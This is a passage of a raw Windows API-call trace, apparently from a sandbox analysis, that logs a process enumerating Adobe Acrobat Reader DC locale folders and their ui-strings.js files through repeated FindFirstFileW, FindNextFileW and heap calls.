cAlternateFileName="")) returned 1 [0261.789] GetProcessHeap () returned 0xc10000 [0261.789] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.789] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0261.791] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.791] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.791] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.791] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0261.791] GetProcessHeap () returned 0xc10000 [0261.791] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.791] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0261.791] GetProcessHeap () returned 0xc10000 [0261.791] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.792] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.792] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.792] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.792] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.793] GetProcessHeap () returned 0xc10000 [0261.793] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.793] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0261.793] GetProcessHeap () returned 0xc10000 [0261.793] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.796] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.796] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x685, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.796] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x685, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.796] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.796] GetProcessHeap () returned 0xc10000 [0261.796] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0261.796] GetProcessHeap () returned 0xc10000 [0261.796] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.798] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.798] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.798] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.798] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.799] GetProcessHeap () returned 0xc10000 [0261.799] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.799] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0261.799] GetProcessHeap () returned 0xc10000 [0261.799] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.800] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.800] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.800] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.800] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.800] GetProcessHeap () returned 0xc10000 [0261.800] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.801] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0261.801] GetProcessHeap () returned 0xc10000 [0261.801] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0261.801] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.801] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.801] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.801] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0261.802] GetProcessHeap () returned 0xc10000 [0261.802] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.802] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0261.802] GetProcessHeap () returned 0xc10000 [0261.802] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.993] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.993] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.993] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.994] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.994] GetProcessHeap () returned 0xc10000 [0261.994] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.994] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0261.994] GetProcessHeap () returned 0xc10000 [0261.994] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.996] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.996] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.996] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.996] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.997] GetProcessHeap () returned 0xc10000 [0261.997] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.997] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 